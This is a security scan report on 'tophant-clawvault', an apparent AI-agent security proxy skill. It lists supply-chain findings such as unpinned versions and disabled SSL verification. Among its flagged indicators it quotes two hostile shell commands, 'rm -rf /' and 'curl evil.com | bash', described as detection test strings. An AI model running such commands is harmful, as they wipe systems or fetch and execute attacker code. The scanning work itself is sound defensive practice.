中文 EN

Scan Report

Scan New Files

⚠ Low Risk — Risk Score 25/100
Last scan:19 hr ago Rescan
25 /100
tophant-clawvault
AI security system protecting agents from prompt injection, data leakage, and dangerous commands via local HTTP proxy
ClawVault is a legitimate AI security tool with good documentation; the flagged IOCs are test strings not executed code, though there are minor supply chain concerns.
Skill Nametophant-clawvault
Duration40.0s
Enginepi
✓
Safe to install
Approve for use with caution: pin ClawVault to specific version before installation to mitigate supply chain risk.

Findings 3 items

Severity Finding Location
Medium
Unpinned package version range Supply Chain
Install command uses 'clawvault>=0.1.0,<1.0.0' allowing any 0.x.x version including potentially malicious future releases
pinned_version = "clawvault>=0.1.0,<1.0.0"
→ Pin to specific version: pip install clawvault==0.1.0 or use hash verification
 clawvault_manager.py:88
Medium
GitHub fallback without integrity verification Supply Chain
Fallback installation from GitHub tag '@v0.1.0' lacks checksum or hash verification
git+https://github.com/tophant-ai/[email protected]
→ Use specific commit hash or package hash verification for GitHub installations
 clawvault_manager.py:98
Low
SSL verification disabled in default config Sensitive Access
Default config sets ssl_verify: False for MITM inspection, documented but risky
"ssl_verify": False
→ Ensure tool runs only on trusted networks; document SSL bypass implications
 clawvault_manager.py:154
ResourceDeclaredInferredStatusEvidence
Shell WRITE WRITE ✓ Aligned clawvault_manager.py:88 pip install
Filesystem WRITE WRITE ✓ Aligned clawvault_manager.py:137 config write
Network READ WRITE ✓ Aligned SECURITY.md documents MITM proxy
Filesystem READ READ ✓ Aligned ~/.ClawVault/config.yaml only
2 Critical 5 findings
💀
Critical Dangerous Command 危险 Shell 命令
rm -rf /
clawvault_manager.py:401
💀
Critical Dangerous Command 危险 Shell 命令
curl evil.com | bash
clawvault_manager.py:402
🔗
Medium External URL 外部 URL
http://127.0.0.1:8766
SECURITY.md:51
🔗
Medium External URL 外部 URL
https://docs.openclaw.ai/gateway/security
SECURITY.md:256
📧
Info Email 邮箱地址
[email protected]
SECURITY.md:242

File Tree

5 files · 37.6 KB · 1120 lines
Python 1f · 581L Markdown 3f · 493L JSON 1f · 46L
├─ 🐍 clawvault_manager.py Python 581L · 21.4 KB
├─ 📝 README.md Markdown 79L · 2.2 KB
├─ 📝 SECURITY.md Markdown 262L · 8.7 KB
├─ 📋 skill.json JSON 46L · 1.9 KB
└─ 📝 SKILL.md Markdown 152L · 3.5 KB

Dependencies 3 items

PackageVersionSourceKnown VulnsNotes
pyyaml * pip No Not explicitly pinned in skill
requests * pip No Not explicitly pinned in skill
clawvault >=0.1.0,<1.0.0 pypi/github No Version range unpinned - supply chain risk

Security Positives

✓ Comprehensive documentation including SECURITY.md with threat model
✓ Test IOCs (rm -rf, curl|bash) are test strings not executed code - legitimate detection testing
✓ All network calls are to localhost for proxy operations
✓ No credential harvesting or exfiltration detected
✓ No obfuscation or base64 execution observed
✓ Skill behavior matches documentation (MITM proxy for AI security)